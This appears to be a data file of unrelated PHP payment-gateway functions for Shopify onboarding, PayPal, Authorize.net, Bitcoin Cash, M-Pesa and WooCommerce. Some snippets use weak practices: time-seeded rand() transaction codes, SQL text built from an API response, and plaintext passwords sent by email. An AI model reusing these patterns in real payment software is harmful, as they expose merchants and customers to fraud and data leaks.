{\n // Check if user already exists\n try {\n $user = $this->users->findWhereFirst([\n 'email' => $email,\n ]);\n } catch (\\Exception $e) {\n // No user with such email\n }\n\n // Create new user\n if (! isset($user) || (isset($user) && ! $user)) {\n // Get shop owner name\n $owner_name = $this->split_name($shop->shop_owner) ?: [];\n\n // Prepare new user data\n $new_user_data = [];\n $new_user_data['email'] = $email;\n $new_user_data['first_name'] = isset($owner_name['first_name']) ? $owner_name['first_name'] : '';\n $new_user_data['last_name'] = isset($owner_name['last_name']) ? $owner_name['last_name'] : '';\n $new_user_data['password'] = str_random(8);\n $new_user_data['plan'] = 0;\n\n // Store user\n $user = app('user_service')->createNewUser($new_user_data);\n if (! $user) {\n return abort(500, 'An error has occurred while attempting to create new user record.');\n }\n\n /*// Setup Mail API Client\n $mailClient = app('postmark_api')->setup();\n $signature = env('POSTMARK_SIGNATURE');\n\n // Render mail body\n $mailBody = View::make('emails.auth.you-have-been-successfully-registered', compact('new_user_data'))\n ->render();\n\n // Send email to user with account data\n try {\n $mailClient->sendEmail($signature, $user->email, __('Welcome to '.config('app.name').'!'), $mailBody);\n } catch (\\Exception $e) {\n Log::error('Mail error: '.$e->getMessage());\n }*/\n\n Mail::to($user->email)->queue(new MerchantWelcome($user, true, $new_user_data['password']));\n }\n\n // Create New Merchant\n $merchant = app('user_service')->configureMerchant($user, [\n 'company' => $shop->name,\n 'website' => $shop_domain,\n ]);\n if (! $merchant) {\n return abort(500, 'An error has occurred while attempting to create new merchant record.');\n }\n\n // Login with created user credentials\n Auth::login($user);\n }\n\n if (! trim($merchant->website)) {\n $this->merchants->clearEntity();\n try {\n $this->merchants->update($merchant->id, [\n 'website' => $shop_domain,\n ]);\n } catch (\\Exception $exception) {\n\n }\n }\n\n // Create/Update Shopify integration\n try {\n // Default Shopify integration settings\n $defaultSettings = [\n 'order_settings' => [\n 'reward_status' => 'paid',\n 'subtract_status' => 'refunded',\n 'include_taxes' => 0,\n 'include_shipping' => 0,\n 'exclude_discounts' => 1,\n 'include_previous_orders' => 1,\n ],\n ];\n\n // Update merchant integrations data\n $this->merchants->clearEntity();\n\n try {\n app('merchant_service')->deactivateEcommerceIntegrations($merchant, [$shopifyIntegration->id]);\n } catch (\\Exception $e) {\n Log::error('Shopify integration installing: Error on attempting to deactivate e-commerce integration (merchant #'.$merchant->id.').');\n Log::error($e->getMessage());\n }\n\n $this->merchants->updateIntegrations($merchant, $shopifyIntegration->id, [\n 'status' => 1,\n 'external_id' => $shop_domain,\n 'token' => $accessToken,\n 'settings' => json_encode($defaultSettings),\n ]);\n\n // Update merchant details\n $this->merchantDetails->updateOrCreate([\n 'merchant_id' => $merchant->id,\n ], [\n 'ecommerce_shop_domain' => $shop_domain,\n ]);\n } catch (\\Exception $exception) {\n Log::error('Create/Update Shopify integration error: '.$exception->getMessage());\n\n return abort(500, 'An unexpected error has occurred while attempting to save merchant integration.');\n }\n\n // Run jobs after successful Shopify installation\n $this->installWebhooks($merchant);\n $this->installScripttags($merchant);\n $this->installMetafields($merchant);\n $this->installAssets($merchant);\n\n // Set current merchant\n Auth::user()->switchToTeam($merchant);\n\n return redirect()->route('dashboard');\n }", "public function get_gateway_redirect() {\n\t\t$gatewayRedirect = new gateway_redirect();\n\t\tif (! empty($this->_3dSecurePostParameters)) {\n\t\t\t$connParams = $this->_getConnectionParameters('payment');\n\t\t\t$gatewayRedirect->redirect = TRUE;\n\t\t\t$gatewayRedirect->encType = 'application/x-www-form-urlencoded';\n\t\t\t$gatewayRedirect->url = $connParams['uri'];\n\t\t\t$gatewayRedirect->postParameters = $this->_3dSecurePostParameters;\n\t\t}\n\t\t\n\t\treturn $gatewayRedirect;\n\t}", "public function __construct(TpMerchantConfig $config = null)\n {\n $this->config = $config;\n\n if (is_null($this->returnUrl) && isset($_SERVER[\"HTTP_HOST\"]) && isset($_SERVER[\"REQUEST_URI\"])) {\n $this->returnUrl = ((isset($_SERVER[\"HTTPS\"]) && $_SERVER[\"HTTPS\"]) ? \"https\" : \"http\") . \"://\" . $_SERVER[\"HTTP_HOST\"] . $_SERVER[\"REQUEST_URI\"];\n }\n }", "public function makePayment () {\n \n // sent to bank for verification and transaction code\n \n srand(time());\t\t\t\t\n $pool = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!#%&\";\n for($index = 0; $index < 20; $index++) {\n $sid .= substr($pool,(rand()%(strlen($pool))), 1);\n }\n \n $errorCode = 0;\n\t\t$errorMessage = \"\";\n \n $error[\"id\"] = $errorCode;\n\t\t$error[\"message\"] = $errorMessage;\n\t\t\n\t\t$data[\"error\"] = $error;\n\t\t \n $data[\"transaction_code\"] = $sid;\n\n $data = json_encode($data);\n \n return $data; \n }", "function __construct($settings=array()){\n\t\t\n\t\tOpenPayU_Configuration::setEnvironment('sandbox');\n\t\t//PayU::$apiKey \t\t= $settings['apiKey'];\n\t\t/*PayU::$apiLogin \t= $settings['apiLogin'];\n\t\tPayU::$merchantId = $settings['merchantId'];\n\t\tPayU::$language \t= $settings['language'];\n\t\tPayU::$isTest \t\t= $settings['test'];*/\n\t}", "function create_payment_with_paypal()\n\t{\n\t\t$this->_api_context->setConfig($this->config->item('settings'));\n\n\n\t\t// ### Payer\n\t\t// A resource representing a Payer that funds a payment\n\t\t// For direct credit card payments, set payment method\n\t\t// to 'credit_card' and add an array of funding instruments.\n\n\t\t$payer = new \\PayPal\\Api\\Payer();\n\t\t$payer->setPaymentMethod('paypal');\n\n\t\t// ### Itemized information\n\t\t// (Optional) Lets you specify item wise\n\t\t// information\n\n\n\t\t$ListItemes = array();\n\n\t\tif (is_null(get_cookie(\"cart\")))\n\t\t\tredirect(\"cart\");\n\n\n\t\t$arr = json_decode(get_cookie(\"cart\"), TRUE);\n\n\t\t$ids = array();\n\n\t\tforeach ($arr as $a) {\n\t\t\t$ids[] = $a['id'];\n\t\t}\n\n\t\tif (count($ids) > 0)\n\t\t\t$info = $this->m_p->s_cart(\"products\", $ids, FALSE);\n\t\telse\n\t\t\tredirect(\"cart\");\n\n\n\t\t$products = array();\n\n\t\t$tprice = 0;\n\t\t$ship = get_info(\"shipping\", $this->input->post(\"shipping\"), \"price\") ?? 0;\n\n\t\t$i = 0;\n\n\t\tforeach ($info as $key) {\n\t\t\t$infoa[$key->id] = $key;\n\t\t}\n\n\t\tforeach ($arr as $idk => $k) {\n\t\t\t$key = $infoa[$k['id']];\n\n\t\t\t$options = isset($k['op']) ? json_decode($k['op']) : array();\n\n\t\t\t$products[] = array(\"q\" => $k[\"q\"], \"id\" => $k['id'], \"op\" => $options);\n\n\t\t\t$pr = number_format($key->price - ($key->price * $key->discount / 100), 2);\n\t\t\t$tpr = isset($k['q']) ? number_format($pr * $k['q'], 2) : $pr;\n\n\t\t\t$tprice = $tprice + $tpr;\n\n\t\t\t$ListItemes[$i] = array(\n\t\t\t\t\"name\" \t\t\t=> get_info(\"products\", $key->id, \"title\"),\n\t\t\t\t\"sku\" \t\t\t=> $key->id,\n\t\t\t\t\"currency\" => \"USD\",\n\t\t\t\t\"quantity\" \t\t=> isset($k['q']) ? $k['q'] : 1,\n\t\t\t\t\"price\" \t\t=> $pr\n\t\t\t);\n\n\t\t\t$i++;\n\t\t}\n\n\t\t$date = \"Y-m-d\";\n\n\t\t// if(!empty($coupon))\n\t\t// {\n\t\t// \t$c = $this->m_p->s_a(\"discounts\", array(\"coupon\" => $coupon, \"date >=\" => $date));\n\n\t\t// \tif(count($c) != 0)\n\t\t// \t{\n\t\t// \t\tforeach($c as $k)\n\t\t// \t\t\t$num = $k->num;\n\n\t\t// \t\t$tprice = $tprice - $num * $tprice / 100;\n\t\t// \t}\n\t\t// }\n\n\t\t$ip = $this->input->ip_address();\n\n\t\t$date = date(\"Y-m-d\");\n\n\t\t$results = $this->db->query(\"SELECT * FROM account where dateat like '$date%' \")->row();\n\t\tif ($results) {\n\t\t\t$target = $results->target;\n\t\t} else {\n\t\t\t$target = '00';\n\t\t}\n\t\t$bill_no = '#OR' . strtoupper(substr(md5(uniqid(mt_rand(), true)), 0, 4));\n\t\t$currency_type = $this->input->post(\"currency_type\");\n\t\t$arrInsert = array(\n\t\t\t\"name\" => $this->input->post(\"fullname\"),\n\t\t\t\"tele\" => $this->input->post(\"phone\"),\n\t\t\t\"email\" => $this->input->post(\"email\"),\n\t\t\t\"address\" => $this->input->post(\"address\"),\n\t\t\t\"address2\" => $this->input->post(\"address2\"),\n\t\t\t\"city\" => $this->input->post(\"city\"),\n\t\t\t\"state\" => $this->input->post(\"state\"),\n\t\t\t\"zipcode\" => $this->input->post(\"zipcode\"),\n\t\t\t\"country\" => $this->input->post(\"country\"),\n\t\t\t\"note\" => $this->input->post(\"note\"),\n\t\t\t\"ip\" => $ip,\n\t\t\t\"pay\" => \"paypal\",\n\t\t\t\"totalPrice\" => $tprice + $ship,\n\t\t\t\"products\" => json_encode($products),\n\t\t\t\"date\" => time(),\n\t\t\t\"target\" => $target,\n\t\t\t\"order_id\" => $bill_no,\n\t\t\t\"datetime\" => date('Y-m-d\\TH:i:s'),\n\t\t\t'currency_type' => $currency_type\n\t\t);\n\n\t\t$orderId = $this->m_p->ins(\"orders\", $arrInsert);\n\t\t\n\t\t$itemList = new ItemList();\n\t\t$itemList->setItems($ListItemes);\n\n\t\t// ### Additional payment details\n\t\t// Use this optional field to set additional\n\t\t// payment information such as tax, shipping\n\t\t// charges etc.\n\t\t$details['tax'] = number_format($ship, 2);\n\t\t$details['subtotal'] = number_format($tprice, 2);\n\t\t// ### Amount\n\t\t// Lets you specify a payment amount.\n\t\t// You can also specify additional details\n\t\t// such as shipping, tax.\n\t\t$amount['currency'] = \"USD\";\n\t\t$amount['total'] = number_format($details['tax'] + $details['subtotal'], 2);\n\t\t$amount['details'] = $details;\n\t\t// ### Transaction\n\t\t// A transaction defines the contract of a\n\t\t// payment - what is the payment for and who\n\t\t// is fulfilling it.\n\n\t\t//exit();\n\n\t\t$transaction['description'] = 'Payment';\n\t\t$transaction['amount'] = $amount;\n\t\t$transaction['invoice_number'] = uniqid();\n\t\t$transaction['item_list'] = $itemList;\n\t\t$transaction['custom'] = $orderId;\n\n\t\t// ### Redirect urls\n\t\t// Set the urls that the buyer must be redirected to after\n\t\t// payment approval/ cancellation.\n\t\t$baseUrl = base_url();\n\t\t$redirectUrls = new RedirectUrls();\n\t\t$redirectUrls->setReturnUrl($baseUrl . \"paypal/getPaymentStatus\")\n\t\t\t->setCancelUrl($baseUrl . \"paypal/getPaymentStatus\");\n\n\t\t// ### Payment\n\t\t// A Payment Resource; create one using\n\t\t// the above types and intent set to sale 'sale'\n\t\t$payment = new Payment();\n\t\t$payment->setIntent(\"sale\")\n\t\t\t->setPayer($payer)\n\t\t\t->setRedirectUrls($redirectUrls)\n\t\t\t->setTransactions(array($transaction));\n\n\t\ttry {\n\t\t\t$payment->create($this->_api_context);\n\t\t} catch (Exception $ex) {\n\t\t\t// NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY\n\t\t\tprint_r($ex);\n\t\t\texit(1);\n\t\t}\n\t\tforeach ($payment->getLinks() as $link) {\n\t\t\tif ($link->getRel() == 'approval_url') {\n\t\t\t\t$redirect_url = $link->getHref();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (isset($redirect_url)) {\n\t\t\t/** redirect to paypal **/\n\t\t\tredirect($redirect_url);\n\t\t}\n\n\t\t$this->session->set_flashdata('success_msg', 'Unknown error occurred');\n\t\tredirect('home/checkout');\n\t}", "public function getPaymorrowGateway()\n {\n return oxNew( 'OxpsPaymorrowGateway' );\n }", "public function __construct() {\n\t\t\t$this->id = 'cointopay';\n\t\t\t$this->icon = plugins_url('images/crypto.png', __FILE__);\n\n\t\t\t$this->init_form_fields();\n\t\t\t$this->init_settings();\n\n\t\t\t$this->title = $this->get_option('title');\n\t\t\t$this->description = $this->get_option('description');\n\t\t\t$this->altcoinid = 666;\n\t\t\t$this->merchantid = $this->get_option('merchantid');\n\n\t\t\t$this->apikey = '1';\n\t\t\t$this->secret = $this->get_option('secret');\n\t\t\t$this->msg['message'] = '';\n\t\t\t$this->msg['class'] = '';\n\n\t\t\tadd_action('init', array(&$this, 'check_cointopay_response'));\n\t\t\tadd_action('woocommerce_update_options_payment_gateways_' . $this->id, array(&$this, 'process_admin_options'));\n\t\t\tadd_action('woocommerce_api_' . strtolower(get_class($this)), array( &$this, 'check_cointopay_response' ));\n\t\t\tadd_action('wp_enqueue_scripts', array(&$this, 'Cointopay_Crypto_Gateway_admin_js' ));\n\t\t\n\t\t\t\n\t\t\tadd_action('woocommerce_after_order_notes', array(&$this, 'cointopay_crypto_select_checkout_field' ));\n\t\t\tadd_action('woocommerce_checkout_process', array(&$this, 'cointopay_crypto_process_custom_payment' ));\n\t\t\tadd_action( 'woocommerce_after_order_notes', array(&$this, 'cointopay_crypto_checkout_hidden_field' ), 10, 1 );\n\t\t\tadd_action('woocommerce_checkout_update_order_meta', array(&$this, 'cointopay_crypto_select_checkout_update_order_meta' ));\n\n\t\t\t// Valid for use.\n\t\t\tif (empty($this->settings['enabled']) === false && empty($this->apikey) === false && empty($this->secret) === false) {\n\t\t\t\t$this->enabled = 'yes';\n\t\t\t} else {\n\t\t\t\t$this->enabled = 'no';\n\t\t\t}\n\n\t\t\t// Checking if apikey is not empty.\n\t\t\tif (empty($this->apikey) === true) {\n\t\t\t\tadd_action('admin_notices', array( &$this, 'apikey_missingmessage' ));\n\t\t\t}\n\n\t\t\t// Checking if app_secret is not empty.\n\t\t\tif (empty($this->secret) === true) {\n\t\t\t\tadd_action('admin_notices', array( &$this, 'secret_missingmessage' ));\n\t\t\t}\n\n\t\t}", "public function createmerchant()\n {\n $natureofbusiness = $_POST['natureofbusiness'];\n $telephone = $_POST['telephone'];\n $atelephone = $_POST['atelephone'];\n $tin = $_POST['tin'];\n $businessname = $_POST['businessname'];\n $businessemail = $_POST['businessemail'];\n $website = $_POST['website'];\n $businesstype = $_POST['accounttype'];\n $businesscategory = $_POST['businesscategory'];\n $revenue = $_POST['revenue'];\n $numberofemployees = $_POST['numberofemployees'];\n $numberofbranches = $_POST['numberofbranches'];\n $averagerevenue = $_POST['averagerevenue'];\n\n\n\n //Save Businesss\n $business = new Business();\n $business->recordObject->businessname = $businessname;\n $business->recordObject->email = $businessemail;\n $business->recordObject->natureofbusiness = $natureofbusiness;\n $business->recordObject->tinnumber = $tin;\n $business->recordObject->mobile = $atelephone;\n $business->recordObject->website = $website;\n $business->recordObject->accounttype = $businesstype;\n $business->recordObject->businesscategory = $businesscategory;\n $business->recordObject->revenue = $revenue;\n $business->recordObject->numberofemployees = $numberofemployees;\n $business->recordObject->numberofbranches = $numberofbranches;\n $business->recordObject->telephone = $telephone;\n $business->recordObject->averagerevenue = $averagerevenue;\n $business->recordObject->status = 1;\n $business->store();\n\n //Extract business id\n $business_id = $business->recordObject->busid;\n\n $popularname = $_POST['popularname'];\n $city = $_POST['city'];\n $street = $_POST['street'];\n $region = $_POST['region'];\n $assembly = $_POST['assembly'];\n $unitno = $_POST['unitno'];\n $housenumber = isset($_POST['housenumber']) ? $_POST['housenumber'] : '';\n $longitude = $_POST['longitude'];\n $latitude = $_POST['latitude'];\n $buildingno = $_POST['buildingno'];\n\n //Save Location\n $location = new Location();\n $location->recordObject->popularname = $popularname;\n $location->recordObject->city = $city;\n $location->recordObject->street = $street;\n $location->recordObject->region = $region;\n $location->recordObject->assembly = $assembly;\n $location->recordObject->unitno = $unitno;\n $location->recordObject->housenumber = $housenumber;\n $location->recordObject->longitude = $longitude;\n $location->recordObject->latitude = $latitude;\n $location->recordObject->buildingno = $buildingno;\n $location->store();\n\n //Extract location id\n $location_id = $location->recordObject->location_id;\n $locationBusiness = LocationBusiness::saveBusinessLocation($location_id, $business_id);\n if ($locationBusiness) {\n $data['success'] = \"Saved All Data Succesfully\";\n $_SESSION[\"success\"] = $data['success'];\n $data['location_id'] = $location_id;\n $data['business_id'] = $business_id;\n $this->view('pages/createmerchant', $data);\n } else {\n $error = \"Failed To Save All Data Successfuly\";\n $_SESSION[\"error\"] = $error;\n $this->view('pages/createmerchant', $error);\n }\n }", "public function __construct($sandbox = true)\n {\n $this->setLibAutoloader();\n\n $this->headModel = new RatePAY\\ModelBuilder('Head');\n $this->contentModel = new RatePAY\\ModelBuilder('Content');\n $this->onlineRequest = new RatePAY\\RequestBuilder((bool) $sandbox);\n $this->offlineRequest = new RatePAY\\Service\\OfflineInstallmentCalculation();\n\n // Switch back to mage autoloader\n $this->removeLibAutoloader();\n }", "protected function getGateway($name) {\n\t\t$class = get_class($this);\n\t\t\n\t\tif($name === $this->getName())\n\t\t\treturn $this;\n\t\t\n\t\t// load in the model if it hasn't been loaded yet\n\t\t$this->_model_dict[$name];\n\t\t\n\t\t$temp = class_name(\"{$name} gateway\");\n\t\t\n\t\tif(class_exists($temp, FALSE))\n\t\t\t$class = $temp;\n\t\t\n\t\treturn new $class(\n\t\t\t$this->_resource, \n\t\t\t$this->_type_handler\n\t\t);\n\t}", "public function do_payment ($request) {\n\t\t $merchantAuthentication = new AnetAPI\\MerchantAuthenticationType();\n\t\t $merchantAuthentication->setName(config('services.authorize.login'));\n\t\t $merchantAuthentication->setTransactionKey(config('services.authorize.key'));\n\t\t $refId = 'ref'.time();\n\t\t// Create the payment data for a credit card\n\t\t $creditCard = new AnetAPI\\CreditCardType();\n\t\t $creditCard->setCardNumber($request->credit_card_number);\n\t\t $expiry = $request->credit_card_year . '-' . $request->credit_card_month;\n\t\t // dd($expiry);\n\t\t // $creditCard->setExpirationDate( \"2038-12\");\n\t\t $creditCard->setExpirationDate($expiry);\n\t\t $paymentOne = new AnetAPI\\PaymentType();\n\t\t $paymentOne->setCreditCard($creditCard);\n\t\t// Create a transaction\n\t\t $transactionRequestType = new AnetAPI\\TransactionRequestType();\n\t\t $transactionRequestType->setTransactionType(\"authCaptureTransaction\");\n\t\t $transactionRequestType->setAmount($request->transaction_total_cost);\n\t\t $transactionRequestType->setPayment($paymentOne);\n\t\t $request = new AnetAPI\\CreateTransactionRequest();\n\t\t $request->setMerchantAuthentication($merchantAuthentication);\n\t\t $request->setRefId( $refId);\n\t\t $request->setTransactionRequest($transactionRequestType);\n\t\t $controller = new AnetController\\CreateTransactionController($request);\n\t\t $response = $controller->executeWithApiResponse(\\net\\authorize\\api\\constants\\ANetEnvironment::SANDBOX);\n\t\t/*if ($response != null){\n\t\t\t$tresponse = $response->getTransactionResponse();\n\t\t\tif (($tresponse != null) && ($tresponse->getResponseCode()==\"1\")){\n\t\t\t\techo \"Charge Credit Card AUTH CODE : \" . $tresponse->getAuthCode() . \"\\n\";\n\t\t\t\techo \"Charge Credit Card TRANS ID : \" . $tresponse->getTransId() . \"\\n\";\n\t\t\t} else {\n\t\t\t\techo \"Charge Credit Card ERROR : Invalid response\\n\";\n\t\t\t}\n\t\t} else {\n\t\t\techo \"Charge Credit Card Null response returned\";\n\t\t}*/\n\t\treturn $response;\n\t}", "private function setMerchantKey()\n {\n $this->key = config('gladepay.key');\n }", "public function getGateway() {\n\t\treturn self::$gateways[mt_rand(0, (self::$COUNT-1))];\n\t}", "protected function createRegularPaymentXML()\n {\n $security_data = $this->makeSecurityData();\n $hash_data = $this->makeHashData($security_data);\n\n $nodes = [\n 'GVPSRequest' => [\n 'Mode' => $this->mode,\n 'Version' => 'v0.01',\n 'Terminal' => [\n 'ProvUserID' => $this->account->username,\n 'UserID' => $this->account->username,\n 'HashData' => $hash_data,\n 'ID' => $this->account->terminal_id,\n 'MerchantID' => $this->account->client_id,\n ],\n 'Customer' => [\n 'IPAddress' => $this->order->ip,\n 'EmailAddress' => $this->order->email,\n ],\n 'Card' => [\n 'Number' => $this->card->number,\n 'ExpireDate' => $this->card->month . $this->card->year,\n 'CVV2' => $this->card->cvv,\n ],\n 'Order' => [\n 'OrderID' => $this->order->id,\n 'GroupID' => '',\n 'AddressList' => [\n 'Address' => [\n 'Type' => 'S',\n 'Name' => $this->order->name,\n 'LastName' => '',\n 'Company' => '',\n 'Text' => '',\n 'District' => '',\n 'City' => '',\n 'PostalCode' => '',\n 'Country' => '',\n 'PhoneNumber' => '',\n ],\n ],\n ],\n 'Transaction' => [\n 'Type' => $this->type,\n 'InstallmentCnt' => $this->order->installment > 1 ? $this->order->installment : '',\n 'Amount' => $this->amountFormat($this->order->amount),\n 'CurrencyCode' => $this->order->currency,\n 'CardholderPresentCode' => '0',\n 'MotoInd' => 'N',\n 'Description' => '',\n 'OriginalRetrefNum' => '',\n ],\n ]\n ];\n\n return $this->createXML($nodes);\n }", "protected function _construct()\n {\n $this->_init('hipay/paymentProfile');\n }", "private function __construct() {\n\t\t$this->_applicationName = 'Billing';\n\t\t$this->_backend = new Billing_Backend_SupplyReceipt();\n\t\t$this->_modelName = 'Billing_Model_SupplyReceipt';\n\t\t$this->_currentAccount = Tinebase_Core::getUser();\n\t\t$this->_purgeRecords = FALSE;\n\t\t$this->_doContainerACLChecks = FALSE;\n\t\t$this->_config = isset(Tinebase_Core::getConfig()->billing) ? Tinebase_Core::getConfig()->billing : new Zend_Config(array());\n\t}", "public function gatewayAction()\n {\n $user = $this->getUser();\n $amountdue = $this->getAmount();\n\n if ($user !== null && $amountdue > 0.15) {\n $limited_currencies = array('USD','ISK','HKD','TWD','CHF','EUR','DKK','CLP','CAD','CNY','THB','AUD','SGD','KRW','JPY','PLN','GBP','SEK','NZD','BRL','RUB');\n $currency_iso_code = $this->getCurrencyShortName();\n if (!in_array($currency_iso_code, $limited_currencies)) {\n $this->redirect(array('controller' => 'checkout'));\n } else {\n /** https://cex.io/api/last_price/BCH/EUR **/\n //$value_in_BCH = file_get_contents(\"https://blockchain.info/tobch?currency=\".$currency_iso_code.\"&value=\".$amountdue.\"\");\n $json = file_get_contents('https://cex.io/api/last_price/BCH/EUR');\n $json = json_decode($json, true);\n\n $value_in_BCH = 1/($json['lprice'] / $amountdue);\n\n if ($value_in_BCH > 0) {\n /** @var TYPE_NAME $zw_extended_public_key */\n $zw_extended_public_key = Shopware()->Config()->getByNamespace('ZwWebPaymentBitcoinCash', 'zw_extended_public_key');\n $zw_blockchain_api_key = Shopware()->Config()->getByNamespace('ZwWebPaymentBitcoinCash', 'zw_blockchain_api_key');\n $zw_callback_secret = Shopware()->Config()->getByNamespace('ZwWebPaymentBitcoinCash', 'zw_callback_secret');\n\n $config_secret = trim($zw_callback_secret);\n $secret = strtoupper(md5($config_secret.'-'.$this->session->sUserId));\n\n $url = Shopware()->Router()->assemble(array('action' => 'notify', 'controller' => 'PaymentBitcoinCash', 'module' => 'frontend', 'secret' => $secret, 'forceSecure' => true));\n $callback_url = htmlspecialchars($url);\n\n $xpub = trim($zw_extended_public_key);\n $api_key = trim($zw_blockchain_api_key);\n $blockchain_url = 'https://api.blockchain.info/v2/receive?xpub='.$xpub.'&callback='.urlencode($callback_url).'&key='.$api_key.'';\n //$blockchain_url = 'https://api.blockchain.info/v2/receive?xpub='.$xpub.'&callback='.urlencode($callback_url).'&gap_limit=99&key='.$api_key.'';\n\n $address = false;\n $message = false;\n $description = false;\n $try = 0;\n\n $context = stream_context_create(array('http' => array('ignore_errors' => true)));\n\n while ($try < 2) {\n $response = file_get_contents($blockchain_url, false, $context);\n $object = json_decode($response);\n if (!empty($object->{'address'})) {\n $address = $object->{'address'};\n break;\n } else {\n if (!empty($object->{'message'})) {\n $message = $object->{'message'};\n $description = $object->{'description'};\n break;\n } else {\n $try++;\n sleep(10);\n }\n }\n }\n\n if ($address) {\n $orderNumber = $this->saveOrder($address, md5($address), 17, false);\n //$orderId = Shopware()->Db()->fetchOne('SELECT `id` FROM `s_order` WHERE `ordernumber` = ?', $orderNumber);\n $order = Shopware()->Models()->getRepository('Shopware\\Models\\Order\\Order')->findOneBy(array('number' => $orderNumber));\n $orderId = $order->getId();\n $orderCurrency = $order->getCurrency();\n $invoiceAmount = $order->getInvoiceAmount();\n\n Shopware()->Db()->exec(\"INSERT INTO `zwilla_free_bitcoincash_address` \n (`id_order`,`value_in_BCH`,`address`,`status`,`crdate`) \n VALUES\n ('\".(int)$orderId.\"', '\".(double)$value_in_BCH.\"', '\".$address.\"', 'Pending', CURRENT_TIMESTAMP)\");\n\n $order->setComment('Please pay ' . $value_in_BCH . ' BCH to this address ' . $address . ' for order number ' . $orderNumber);\n\n Shopware()->Models()->flush($order);\n $this->View()->receivedAddress = 'YES';\n $this->View()->bitcoincashAddress = $address;\n $this->View()->valueInBCH = $value_in_BCH;\n $this->View()->orderNumber = $orderNumber;\n $this->View()->invoiceAmount = $invoiceAmount;\n $this->View()->orderCurrency = $orderCurrency;\n } else {\n // uncomment 3 lines below for debug\n //$logfile = fopen(dirname(__FILE__).'/error_log.txt', 'a+');\n //fwrite($logfile, $response);\n //fclose($logfile);\n Shopware()->Pluginlogger()->error('An unrecoverable error occurred: unable to obtain address, check your API key or xPub. ' . $message . ': ' . $description);\n $this->View()->receivedAddress = 'NO';\n $this->View()->message = $message;\n $this->View()->description = $description;\n }\n } else {\n $this->redirect(array('controller' => 'checkout'));\n }\n }\n } else {\n $this->redirect(array('controller' => 'checkout'));\n }\n }", "public function makePayment($amountTobePaid)\n {\n\n $this->transactionId = uniqid();\n $encodedAuth = base64_encode($this->apiUser . \":\" . $this->apiPassword);\n $postRequest = array(\n \"total_amount\" => $amountTobePaid,\n \"return_url\" => $this->returnUrl,\n \"notify_url\" => $this->notifyUrl,\n \"transaction_id\" => $this->transactionId,\n \"description\"=> \"PayUnit web payments\"\n );\n $cURLConnection = curl_init();\n if($this->mode === \"test\"){\n curl_setopt($cURLConnection, CURLOPT_URL, \"https://app-payunit.sevengps.net/sandbox/gateway/initialize\");\n }else{\n curl_setopt($cURLConnection, CURLOPT_URL, \"https://app-payunit.sevengps.net/api/gateway/initialize\");\n }\n curl_setopt($cURLConnection, CURLOPT_POSTFIELDS, json_encode($postRequest)); \n $secArr = array(\n \"x-api-key: {$this->apiKey}\",\n \"authorization: Basic: {$encodedAuth}\",\n 'Accept: application/json',\n 'Content-Type: application/json',\n \"mode: {$this->mode}\"\n );\n $all = array_merge($postRequest,$secArr);\n curl_setopt($cURLConnection, CURLOPT_HTTPHEADER,$all);\n curl_setopt($cURLConnection, CURLOPT_RETURNTRANSFER, true);\n $apiResponse = curl_exec($cURLConnection);\n curl_close($cURLConnection);\n $jsonArrayResponse = json_decode($apiResponse);\n echo(isset($jsonArrayResponse));\n if(isset($jsonArrayResponse->body->transaction_url)){\n echo(\"dfdgdg\");\n //die();\n header(\"Location: {$jsonArrayResponse->body->transaction_url}\");\n exit(); \n }\n else{\n echo($apiResponse);\n }\n }", "public function __construct($env = false)\n {\n //Base URL for the API endpoints. This is basically the 'common' part of the API endpoints\n if (active_business()->env != 'sandbox') {\n $this->env = 'live';\n $this->base_url = 'https://api.safaricom.co.ke/mpesa/';\n } else {\n $this->env = 'sandbox';\n $this->base_url = 'https://sandbox.safaricom.co.ke/mpesa/';\n }\n\n $this->consumer_key = ''; //App Key. Get it at https://developer.safaricom.co.ke\n $this->consumer_secret = ''; //App Secret Key. Get it at https://developer.safaricom.co.ke\n $this->paybill = ''; //The paybill/till/lipa na mpesa number\n $this->lipa_na_mpesa = ''; //Lipa Na Mpesa online checkout\n $this->lipa_na_mpesa_key = ''; //Lipa Na Mpesa online checkout password\n $this->initiator_username = ''; //Initiator Username. Your API operator username\n $this->initiator_password = ''; //Initiator password. Your API operator password\n\n $this->callback_baseurl = '';\n $this->test_msisdn = '';\n\n //We override the above $this->cred with the testing credentials\n //$this->cred = 'jQGehsgnujMdEnVOhGq3YdX72blQnpZ+RPgYhe15kU2+UiUkauYDbsxbv+rgVgK4nKU/90R6V7CZDx4+e6KcYQMKCwJht9FfdxG3gC8g2fgxlrCvR+RnObwLOBfJ9htDVyUCJjxP31J/RoC7j25N3g7WDRfcoDXrhRUmG9NGLua+leF6ssJrNxFv6S0aT8S1ihl3aueGAuZxWr7OnbagZZElPueAZKEs8IJDKCh4xkZVUevvUysZCZuHqchMKLYDv80zK/XJ46/Ja/7F1+Qw7180bR/XcptV3ttXV56kGvJ/GMp6FUUem32o2bJMvu+6AkqJnczj0QNq5ZVtTudjvg==';\n }", "public static function create_paypal_button() {\r\n\t\trequire_once(\"class-tpg-pp-donate-button.php\");\r\n\t\t$obj = new tpg_pp_donate_button();\r\n\t\treturn $obj;\r\n\t}", "public static function find($name) {\n $settings = (new PaymentGateway)->where('gateway', $name)->get();\n $object = new PaymentGateway();\n\n foreach ($settings as $setting) {\n $name = $setting->setting;\n $value = $setting->value;\n $object->$name = $value;\n }\n\n return $object;\n }", "public function __construct()\n {\n // General\n $this->id = 'btcpay';\n $this->icon = plugin_dir_url(__FILE__).'assets/img/icon.png';\n $this->has_fields = false;\n $this->order_button_text = __('Proceed to BTCPay', 'btcpay-for-woocommerce');\n $this->method_title = 'BTCPay';\n $this->method_description = 'BTCPay allows you to accept bitcoin payments on your WooCommerce store.';\n\n // Load the settings.\n $this->init_form_fields();\n $this->init_settings();\n\n // Define user set variables\n $this->title = $this->get_option('title');\n $this->description = $this->get_option('description');\n $this->order_states = $this->get_option('order_states');\n $this->debug = 'yes' === $this->get_option('debug', 'no');\n\n // Define BitPay settings\n $this->api_key = get_option('woocommerce_btcpay_key');\n $this->api_pub = get_option('woocommerce_btcpay_pub');\n $this->api_sin = get_option('woocommerce_btcpay_sin');\n $this->api_token = get_option('woocommerce_btcpay_token');\n $this->api_token_label = get_option('woocommerce_btcpay_label');\n $this->api_url = get_option('woocommerce_btcpay_url');\n\n // Define debugging & informational settings\n $this->debug_php_version = PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION;\n 